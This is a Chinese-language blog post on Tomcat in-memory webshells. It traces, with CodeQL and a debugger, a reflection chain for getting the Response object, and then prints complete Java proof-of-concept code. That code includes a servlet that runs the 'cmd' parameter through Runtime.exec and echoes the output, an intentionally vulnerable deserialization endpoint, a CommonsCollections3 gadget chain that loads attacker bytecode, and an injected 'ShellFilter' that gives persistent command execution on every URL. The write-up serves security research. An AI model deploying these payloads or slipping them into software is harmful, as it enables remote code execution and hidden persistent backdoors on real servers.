0x00 前言 在实战中,我们利用内存马往往是为了构造回显,而注入内存马的方法中最常用的就是Java反序列化,所以本文将侧重分析上述两个技术。
0x01 内存马回显技术 本文将配合使用codeql的静态分析技术和IDEA的动态分析技术。
配置 先下载几个项目并做好配置:
首先需要完成codeql的相关配置,网上也有教程,不赘叙。
下载包含源代码的 Tomcat 项目版本,其中应包含java目录,且该目录下为 .java 源文件而非已编译的 .class 文件。项目地址:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.105/src/apache-tomcat-9.0.105-src.zip 
下载Ant,并配置好环境,相关教程:https://www.kingsonho.com/install-apache-ant-on-windows/ 
 
构建Tomcat项目:
在Tomcat源码根目录下执行: 
 
该命令会构建Tomcat项目,其中会下载一些配置,有点慢。
上一步完成后,codeql在Tomcat源码根目录下创建数据库: 
 
1 codeql database create codeql-db --language=java --command="ant clean && ant" 
数据库创建成功,vscode里写一个demo: 
 
1 2 3 4 5 import java from Class c where c.hasQualifiedName("org.apache.coyote", "AbstractProcessor") select c, c.getQualifiedName() 
成功查询:
至此,配置成功。
分析 本文思路来自@Litch1师傅的通过全局存储Response回显技术,本文只是努力模仿大佬思路(没办法独立发现) 
想要回显,本质上是调用ServletResponse#getWriter()方法给出的PrintWriter。由于ServletResponse是一个接口,最终在org.apache.catalina.connector.Response类实现了getWriter()方法。
所以为了拿到Response,先尝试寻找一个类,其属性是Response类型:
1 2 3 4 5 6 7 import java from   Class c, Field f where   f.getDeclaringType() = c and   f.getType().getTypeDescriptor().toString() = "Lorg/apache/catalina/connector/Response;"  select c 
org.apache.catalina.connector.Request类的一个属性response是Response类型。
现在思考,怎么获得Request类,没有上下文环境的话,只能从全局储存里获取。
首先,org.apache.catalina.connector.Request类可以如下获得:(右边的request是org.apache.coyote.Request类型)
1 org.apache.catalina.connector.Request  http_request  =  (org.apache.catalina.connector.Request) request.getNote(1 ); 
那么现在的任务就是获得org.apache.coyote.Request,用codeql寻找:
1 2 3 4 5 6 7 8 import java from   Class c, Field f where   f.getDeclaringType() = c and   f.getType().getTypeDescriptor().toString() = "Lorg/apache/coyote/Request;"  select c 
这里我们选择RequestInfo类:
为什么选择该类呢?我们的分析离不开发起一次请求后的调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 doGet:25, Tomcat_Echo service:655, HttpServlet (javax.servlet.http) service:764, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) ... service:357, CoyoteAdapter (org.apache.catalina.connector) service:382, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang) 
 AbstractProtocol$ConnectionHandler#register方法会调用process()方法,而后者又在调用栈中,在每一次请求发起后,都会调用process()方法,也就是会接着调用到register方法:
register方法把含有org.apache.coyote.Request类的RequestInfo放入RequestGroupInfo类型的RequestInfo成员,简单来说就是拿到了org.apache.coyote.Request类。
所以现在思路明确了:
1 2 3 4 5 AbstractProtocol$ConnectoinHandler#process() ->this.global ->RequestInfo ->Request ->Response 
前面说过,AbstractProtocol类是抽象类,那具体是哪个实现类呢?断点打在CoyoteAdapter类的service方法,该类的connector成员有下面两个属性:
所以实际上,我们要选择Http11NioProtocol类。现在调用链如下:
1 2 3 4 5 6 7 Connector ->Http11NioProtocol ->AbstractProtocol$ConnectoinHandler#process() ->this.global ->RequestInfo ->Request ->Response 
接着就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector,所以调用链再次延长:
1 2 3 4 5 6 7 8 StandardService ->Connector ->Http11NioProtocol ->AbstractProtocol$ConnectoinHandler#process() ->this.global ->RequestInfo ->Request ->Response 
下面的工作就是获取StandardService对象了。
Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
 
因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。
构造 获取StandardContext 1 2 org.apache.catalina.loader.WebappClassLoaderBase  webappClassLoaderBase  =  (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();         StandardContext  standardContext  =  (StandardContext) webappClassLoaderBase.getResources().getContext(); 
获取ApplicationContext StandardContext中没有直接的方法获取context,因此我们需要通过反射获取:
1 2 3 Field  context  =  Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" );context.setAccessible(true ); org.apache.catalina.core.ApplicationContext  ApplicationContext  =  (org.apache.catalina.core.ApplicationContext)context.get(standardContext); 
获取StandardService 同样使用反射获取
1 2 3 4 //获取StandardService Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("service"); standardServiceField.setAccessible(true); StandardService standardService = (StandardService) standardServiceField.get(applicationContext); 
获取Connector 1 2 3 4 5 //获取Connector Field connectorsField = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("connectors"); connectorsField.setAccessible(true); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0]; 
获取Handler 我们可以通过Connector#getProtocolHandler方法来获取对应的protocolHandler
1 2 3 4 5 ProtocolHandler  protocolHandler  =  connector.getProtocolHandler();Field  handlerField  =  Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" );handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler  handler  =  (AbstractEndpoint.Handler) handlerField.get(protocolHandler); 
获取内部类ConnectionHandler的 global属性 1 2 3 4 Field  globalHandler  =  Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" );globalHandler.setAccessible(true ); RequestGroupInfo  global  =  (RequestGroupInfo) globalHandler.get(handler);
获取processor global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象
1 2 3 4 Field  processorsField  =  Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" );processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global); 
最后我们获取request和response对象
获取request和response 这里我选择进一步获取org.apache.catalina.connector.Request对象,因为它继承自HttpServletRequest,我们可以通过PrintWrinter类直接获取回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Field  requestField  =  Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" );requestField.setAccessible(true ); for  (RequestInfo requestInfo : requestInfoList){           org.apache.coyote.Request  request  =  (org.apache.coyote.Request) requestField.get(requestInfo);            org.apache.catalina.connector.Request  http_request  =  (org.apache.catalina.connector.Request) request.getNote(1 );     org.apache.catalina.connector.Response  http_response  =  http_request.getResponse();       PrintWriter  writer  =  http_response.getWriter();     String  cmd  =  http_request.getParameter("cmd" );       InputStream  inputStream  =  Runtime.getRuntime().exec(cmd).getInputStream();     Scanner  scanner  =  new  Scanner (inputStream).useDelimiter("\\A" );     String  result  =  scanner.hasNext()?scanner.next():"" ;     scanner.close();     writer.write(result);     writer.flush();     writer.close(); } 
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 package  com.tomcat;import  org.apache.catalina.connector.Connector;import  org.apache.catalina.core.ApplicationContext;import  org.apache.catalina.core.StandardContext;import  org.apache.catalina.core.StandardService;import  org.apache.coyote.ProtocolHandler;import  org.apache.coyote.RequestGroupInfo;import  org.apache.coyote.RequestInfo;import  org.apache.tomcat.util.net.AbstractEndpoint;import  javax.servlet.ServletException;import  javax.servlet.annotation.WebServlet;import  javax.servlet.http.HttpServlet;import  javax.servlet.http.HttpServletRequest;import  javax.servlet.http.HttpServletResponse;import  java.io.IOException;import  java.io.InputStream;import  java.io.PrintWriter;import  java.lang.reflect.Field;import  java.util.List;import  java.util.Scanner;@WebServlet("/response") public  class  Tomcat_Echo_Response  extends  HttpServlet  {    @Override      protected  void  doGet (HttpServletRequest req, HttpServletResponse resp)  throws  ServletException, IOException {                  org.apache.catalina.loader.WebappClassLoaderBase  webappClassLoaderBase  =  (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();         StandardContext  standardContext  =  (StandardContext) webappClassLoaderBase.getResources().getContext();         System.out.println(standardContext);         try  {                          Field  applicationContextField  =  Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" );             applicationContextField.setAccessible(true );             ApplicationContext  applicationContext  =  (ApplicationContext) applicationContextField.get(standardContext);                          Field  standardServiceField  =  Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" );             standardServiceField.setAccessible(true );             StandardService  standardService  =  (StandardService) standardServiceField.get(applicationContext);                          Field  connectorsField  =  Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" );             connectorsField.setAccessible(true );             Connector[] connectors = (Connector[]) connectorsField.get(standardService);             Connector  connector  =  connectors[0 ];                          ProtocolHandler  protocolHandler  =  (ProtocolHandler) connector.getProtocolHandler();             Field  handlerField  =  Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" );             handlerField.setAccessible(true );             org.apache.tomcat.util.net.AbstractEndpoint.Handler  handler  =  (AbstractEndpoint.Handler) handlerField.get(protocolHandler);                          Field  globalHandler  =  Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" );             globalHandler.setAccessible(true );             RequestGroupInfo  global  =  (RequestGroupInfo) globalHandler.get(handler);                          Field  processorsField  =  Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" );             processorsField.setAccessible(true );             List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);                          Field  requestField  =  Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" );             requestField.setAccessible(true );             for  (RequestInfo requestInfo : requestInfoList){                                  org.apache.coyote.Request  request  =  (org.apache.coyote.Request) requestField.get(requestInfo);                                  org.apache.catalina.connector.Request  http_request  =  (org.apache.catalina.connector.Request) request.getNote(1 );                 org.apache.catalina.connector.Response  http_response  =  http_request.getResponse();                 PrintWriter  writer  =  http_response.getWriter();                 String  cmd  =  http_request.getParameter("cmd" );                 InputStream  inputStream  =  Runtime.getRuntime().exec(cmd).getInputStream();                 Scanner  scanner  =  new  Scanner (inputStream).useDelimiter("\\A" );                 String  result  =  scanner.hasNext()?scanner.next():"" ;                 scanner.close();                 writer.write(result);                 writer.flush();                 writer.close();             }         } catch  (NoSuchFieldException e) {             e.printStackTrace();         } catch  (ClassNotFoundException e) {             e.printStackTrace();         } catch  (IllegalAccessException e) {             e.printStackTrace();         }     } } 
0x02 反序列化构造内存马 先打一次反序列化获取Request,再打Filter内存马。
一个存在反序列化漏洞的服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package  com.tomcat;import  javax.servlet.ServletException;import  javax.servlet.annotation.WebServlet;import  javax.servlet.http.HttpServlet;import  javax.servlet.http.HttpServletRequest;import  javax.servlet.http.HttpServletResponse;import  java.io.ByteArrayInputStream;import  java.io.IOException;import  java.io.ObjectInputStream;import  java.util.Base64;@WebServlet("/unserial") public  class  Unserial_Servlet  extends  HttpServlet  {    @Override      protected  void  doPost (HttpServletRequest req, HttpServletResponse resp)  throws  ServletException, IOException {         byte [] data = Base64.getDecoder().decode(req.getParameter("data" ));         ByteArrayInputStream  inputStream  =  new  ByteArrayInputStream (data);         ObjectInputStream  objectInputStream  =  new  ObjectInputStream (inputStream);         try  {             System.out.println(objectInputStream.readObject());         } catch  (ClassNotFoundException e) {             e.printStackTrace();         }     }     @Override      protected  void  doGet (HttpServletRequest req, HttpServletResponse resp)  throws  ServletException, IOException {         doPost(req,resp);     } } 
用cc3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package  com.tomcat;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.catalina.startup.Tomcat;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InstantiateTransformer;import  org.apache.commons.collections.map.TransformedMap;import  javax.xml.transform.Templates;import  java.io.*;import  java.lang.annotation.Target;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.HashMap;import  java.util.Map;public  class  Cc3  {    public  static  void  main (String[] args)  throws  Exception {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  tc  =  templates.getClass();         Field  nameField  =  tc.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates, "aaa" );         Field  bytecodesField  =  tc.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true ); /         byte [] code = Files.readAllBytes(Paths.get("you_file_path" ));         byte [][] codes = {code};         bytecodesField.set(templates, codes);         Field  tfactoryField  =  tc.getDeclaredField("_tfactory" );         tfactoryField.setAccessible(true );         tfactoryField.set(templates, new  TransformerFactoryImpl ());         InstantiateTransformer  instantiateTransformer  =  new  InstantiateTransformer (new  Class []{Templates.class},new  Object []{templates});         Transformer[] transformers = new  Transformer []{                 new  ConstantTransformer (TrAXFilter.class),                 instantiateTransformer         };         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);         HashMap<Object, Object> map = new  HashMap <>();         map.put("value" , "b" );         Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer);         Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  ctor  =  c.getDeclaredConstructor(Class.class, Map.class);         ctor.setAccessible(true );         Object  o  =  ctor.newInstance(Target.class, transformedMap);         serialize(o);     }     public  static  void  serialize (Object obj)  throws  IOException {         ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream ("ser.bin" ));         oos.writeObject(obj);     }     public  static  Object unserialize (String Filename)  throws  IOException, ClassNotFoundException {         ObjectInputStream  ois  =  new  ObjectInputStream (new  FileInputStream (Filename));         Object  obj  =  ois.readObject();         return  obj;     } } 
先获取Request:(使用另一种获取的技术,有局限性,具体看枫神讲解)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package  com.tomcat;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;import  org.apache.catalina.core.ApplicationFilterChain;import  javax.servlet.ServletResponse;import  java.io.PrintWriter;import  java.lang.reflect.Field;import  java.lang.reflect.Modifier;public  class  Tomcat_Echo_inject_ThreadLocal  extends  AbstractTranslet  {    static  {         try  {                          java.lang.reflect.Field  WRAP_SAME_OBJECT_FIELD  =  Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" );             java.lang.reflect.Field  lastServicedRequestField  =  ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" );             java.lang.reflect.Field  lastServicedResponseField  =  ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" );                          java.lang.reflect.Field  modifiersField  =  Field.class.getDeclaredField("modifiers" );             modifiersField.setAccessible(true );             modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);             modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);             modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);             WRAP_SAME_OBJECT_FIELD.setAccessible(true );             lastServicedRequestField.setAccessible(true );             lastServicedResponseField.setAccessible(true );                          if  (!WRAP_SAME_OBJECT_FIELD.getBoolean(null )) {                 WRAP_SAME_OBJECT_FIELD.setBoolean(null , true );             }             if  (lastServicedRequestField.get(null ) == null ) {                 lastServicedRequestField.set(null , new  ThreadLocal <>());             }             if  (lastServicedResponseField.get(null ) == null ) {                 lastServicedResponseField.set(null , new  ThreadLocal <>());             }                          if  (lastServicedResponseField.get(null ) != null ) {                 ThreadLocal  threadLocal  =  (ThreadLocal) lastServicedResponseField.get(null );                 ServletResponse  servletResponse  =  (ServletResponse) threadLocal.get();                 PrintWriter  writer  =  servletResponse.getWriter();                 writer.write("Inject ThreadLocal Successfully!" );                 writer.flush();                 writer.close();             }         } catch  (Exception e) {             e.printStackTrace();         }     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } } 
第一次访问是500,这是由于CC链本身的缘故。再一次发包,结果如下,说明此时我们能够从ThreadLocal对象中获取request了:
再打Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 package  com.tomcat;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;import  org.apache.catalina.core.ApplicationContext;import  org.apache.catalina.core.ApplicationFilterChain;import  org.apache.catalina.core.ApplicationFilterConfig;import  org.apache.catalina.core.StandardContext;import  org.apache.tomcat.util.descriptor.web.FilterDef;import  org.apache.tomcat.util.descriptor.web.FilterMap;import  javax.servlet.*;import  java.io.IOException;import  java.io.InputStream;import  java.io.PrintWriter;import  java.lang.reflect.InvocationTargetException;public  class  Tomcat_Echo_inject_Filter  extends  AbstractTranslet  implements  Filter  {    static  {         try  {             ServletContext  servletContext  =  getServletContext();             java.lang.reflect.Field  appContextField  =  servletContext.getClass().getDeclaredField("context" );             appContextField.setAccessible(true );             ApplicationContext  applicationContext  =  (ApplicationContext) appContextField.get(servletContext);             java.lang.reflect.Field  standardContextField  =  applicationContext.getClass().getDeclaredField("context" );             standardContextField.setAccessible(true );             StandardContext  standardContext  =  (StandardContext) standardContextField.get(applicationContext);             Tomcat_Echo_inject_Filter  filter  =  new  Tomcat_Echo_inject_Filter ();             String  name  =  "ShellFilter" ;             FilterDef  filterDef  =  new  FilterDef ();             filterDef.setFilter(filter);             filterDef.setFilterName(name);             filterDef.setFilterClass(filter.getClass().getName());             standardContext.addFilterDef(filterDef);             FilterMap  filterMap  =  new  FilterMap ();             filterMap.addURLPattern("/*" );             filterMap.setFilterName(name);             filterMap.setDispatcher(DispatcherType.REQUEST.name());             standardContext.addFilterMapBefore(filterMap);             java.lang.reflect.Field  Configs  =  standardContext.getClass().getDeclaredField("filterConfigs" );             Configs.setAccessible(true );             java.util.Map  filterConfigs  =  (java.util.Map) Configs.get(standardContext);             java.lang.reflect.Constructor  constructor  =  ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);             constructor.setAccessible(true );             ApplicationFilterConfig  filterConfig  =  (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);             filterConfigs.put(name, filterConfig);         } catch  (NoSuchFieldException e) {             e.printStackTrace();         } catch  (ClassNotFoundException e) {             e.printStackTrace();         } catch  (IllegalAccessException e) {             e.printStackTrace();         } catch  (InvocationTargetException e) {             e.printStackTrace();         } catch  (NoSuchMethodException e) {             e.printStackTrace();         } catch  (InstantiationException e) {             e.printStackTrace();         }     }     public  static  ServletContext getServletContext ()  throws  ClassNotFoundException, NoSuchFieldException, IllegalAccessException {         java.lang.reflect.Field  lastServicedRequestField  =  ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" );         lastServicedRequestField.setAccessible(true );         ThreadLocal  threadLocal  =  (ThreadLocal) lastServicedRequestField.get(null );         if (threadLocal!=null  && threadLocal.get()!=null ){             ServletRequest  servletRequest  =  (ServletRequest) threadLocal.get();             return  servletRequest.getServletContext();         }         return  null ;     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     }     @Override      public  void  init (FilterConfig filterConfig)  throws  ServletException {     }     @Override      public  void  doFilter (ServletRequest request, ServletResponse response, FilterChain chain)  throws  IOException, ServletException {         String  cmd  =  request.getParameter("cmd" );         response.setContentType("text/html; charset=UTF-8" );         PrintWriter  writer  =  response.getWriter();         if  (cmd != null ) {             try  {                 InputStream  in  =  Runtime.getRuntime().exec(cmd).getInputStream();                                  java.util.Scanner  scanner  =  new  java .util.Scanner(in).useDelimiter("\\A" );                 String  result  =  scanner.hasNext()?scanner.next():"" ;                 scanner.close();                 writer.write(result);                 writer.flush();                 writer.close();             } catch  (IOException e) {                 e.printStackTrace();             } catch  (NullPointerException n) {                 n.printStackTrace();             }         }         chain.doFilter(request, response);     }     @Override      public  void  destroy ()  {     } } 
打的时候还是500,没关系,内存马注进去了,直接访问:
0x03 小结 内存马内容繁杂,先到这里,有空回头深造一下。
Reference:https://goodapple.top/archives/1355